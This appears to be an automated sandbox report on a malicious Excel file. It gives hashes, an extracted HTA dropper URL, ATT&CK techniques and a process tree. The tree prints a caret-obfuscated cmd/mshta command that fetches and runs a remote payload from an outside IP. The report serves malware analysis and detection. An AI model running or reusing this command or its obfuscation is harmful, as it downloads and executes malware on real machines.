c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb

Analysis

max time kernel
17s
max time network
23s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 21:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb.xls
Size

46KB
MD5

40f0ef3ef45b688195f83abc45c69d14
SHA1

5c4632726a8e979f7eedc0f5cd0b739d44004696
SHA256

c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb
SHA512

4dffc5fab50f86cf91fd8a576c49687b999d19bea1f27fb807c4ab91ec73f213a1e41c74fac31342e63d578fc2c75232dc99fd8bf5897554424d67978b4e7715
SSDEEP

768:gxFpGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJDvzwZhGjk9DnNZQJoD88yIvuEHn:OrGk3hbdlylKsgqopeJBWhZFGkE+cL2d

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/bb.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2928	564	cmd.exe	29

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow	pid	Process
4	2816	mshta.exe
5	2816	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

EXCEL.EXEcmd.exemshta.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
564	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid	Process
564	EXCEL.EXE
564	EXCEL.EXE
564	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 564 wrote to memory of 2928	564	EXCEL.EXE	30
PID 564 wrote to memory of 2928	564	EXCEL.EXE	30
PID 564 wrote to memory of 2928	564	EXCEL.EXE	30
PID 564 wrote to memory of 2928	564	EXCEL.EXE	30
PID 2928 wrote to memory of 2816	2928	cmd.exe	32
PID 2928 wrote to memory of 2816	2928	cmd.exe	32
PID 2928 wrote to memory of 2816	2928	cmd.exe	32
PID 2928 wrote to memory of 2816	2928	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c9e12c49d8ffdd74eb48df9d9acefad2ba0e0b3e93ef4bdce5d1bd69899ca6eb.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/bb.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://87.251.86.178/pp/bb.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/564-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/564-1-0x0000000072C3D000-0x0000000072C48000-memory.dmp

Filesize
44KB

Download
memory/564-2-0x0000000072C3D000-0x0000000072C48000-memory.dmp

Filesize
44KB

Download